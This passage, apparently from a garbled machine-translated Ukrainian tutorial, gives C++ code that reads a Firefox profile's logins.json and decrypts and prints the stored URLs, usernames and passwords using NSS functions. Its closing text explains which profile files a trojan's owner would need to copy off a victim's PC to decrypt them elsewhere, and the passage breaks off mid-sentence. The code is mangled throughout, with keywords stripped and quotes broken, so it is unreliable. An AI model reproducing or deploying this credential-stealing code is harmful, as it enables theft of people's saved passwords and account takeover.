у.
інтернет браузер пароль
std: string sFirefoxPath="C: Users Vahagn AppData Roaming Mozilla Firefox Profiles k7z1336z.default »;
std: string sJsonDB=sFirefoxPath + «logins.json»;// Шлях до файлу: string sTempline=«»;: ifstream ifJson; .open (sJsonDB.c_str (), std: ios: in);// Відкриваємо його (ifJson.is_open ())
{(getline (ifJson, sTempline))
{ii=sTempline.length (); (int i=0; i lt; sTempline.length (); i ++)
{
std: string sURL=«»;// Змінна для URL
std: string sEncryptedUser=«»;// Змінна для
ім'я користувача
std: string sEncryptedPass=«»;// Змінна для зашифрованого пароля користувача
int iFind=sTempline.find («hostname»);// URL (iFind gt; - 1)
{= sTempline.substr (iFind, sTempline.size ());=sTempline.substr (11);=sURL.find («" »);=sURL.substr (0, iFind );=sTempline.substr (sURL.size (), sTempline.size ());
}=sTempline.find («encryptedUsername»); (iFind gt; - 1)
{= sTempline.substr (iFind, sTempline.size ());=sTempline.substr (20);=sEncryptedUser.find («" »);=sEncryptedUser.substr (0, iFind );=sTempline.substr (sEncryptedUser.size (), sTempline.size ());
}=sTempline.find («encryptedPassword»); (iFind gt; - 1)
{= sTempline.substr (iFind, sTempline.size ());=sTempline.substr (20);=sEncryptedPass.find («" »);=sEncryptedPass.substr (0, iFind );=sTempline.substr (sEncryptedPass.size (), sTempline.size ());
} (sURL.size () gt; 0 amp; amp; sEncryptedUser.size () gt; 0 amp; amp; sEncryptedPass.size () gt; 0)
{: string sUserPlain=DecodeFireFox (sEncryptedUser.c_str (), sProfilePath.c_str (), sFirefoxPath);// Розшифровуємо ім'я: cout lt; lt; «URL:» lt; lt; sURL lt; lt; std: endl;: cout lt; lt; «Username:» lt; lt; sUserPlain lt; lt; std: endl;: string sPassPlain=DecodeFireFox (sEncryptedPass.c_str (), sProfilePath.c_str (), sFirefoxPath);// Розшифровуємо пароль: cout lt; lt; «Password:» lt; lt; sPassPlain lt; lt; std: endl;
}
}
}
Коли ми з файлу отримуємо попарно зашифровані ім'я і пароль, нам треба їх розшифрувати, для цього існує функція DecodeFireFox.
iNSS_Shutdown ();// Обнуляем змінні
init_status=NSSInit («C: Users Vahagn AppData Roaming Mozilla Firefox Profiles k7z1336z.default »);// Пробуємо ініціалізувати API з бібліотек
if (init_status == SECSuccess)//якщо ініціалізація пройшла успішно
{
int cred_len=strlen (encryptedstring);// Беремо довжину зашифрованого тексту
int pnDestLen=maxlenght; char decoded_cred [2 048];
SlotInfo * slot=PK11GetInternalKeySlot ();// Отримуємо ключі з контейнера
(! PL_Base64Decode (encryptedstring, cred_len, (char *) decoded_cred))//дешіфруем base64
{FALSE;
} (! slot)
{FALSE;
} (PK11Authenticate (slot, TRUE, NULL) == SECSuccess)//якщо контейнер инициализирован
{
data, result; .data=NULL; .len=50; .data=decoded_cred; .len=decoded_size (encryptedstring);
s=PK11SDRDecrypt ( amp; data, amp; result, NULL);// Розшифровка (s == SECSuccess)
{= (char *) result.data;// Розшифрований логін або пароль.data=NULL;
}
} FreeSlot (slot);// Закриваємо контейнер
}
} _ Shutdown ();// Закриваємо API (nss3);// Видаляємо з пам'яті бібліотеку (mozglue);// Видаляємо з пам'яті бібліотеку
Приклад робочої програми
Дана програма працювала на хостової масшіне де була встановлена ??Mozilla Firefox. Давайте тепер уявімо що на робочий ПК проникла троянська програма. З'ясуємо які файли йому потрібно отримати щоб власник троянського коня зміг розшифрувати паролі з бази даних FF. Для цього візьмемо віртуальну машину де буде встановлений windows 7 без встановленого FF. Скопіюємо на цю віртуальну машину нашу програму. Як я вище вже зазначав програма складається не тільки з c.exe але й з бібліотек.
Створюємо шлях% AppData%/Roaming/Mozilla/Firefox/Profiles/імапрофіля /.
І копіюємо туди 3 файлу які ...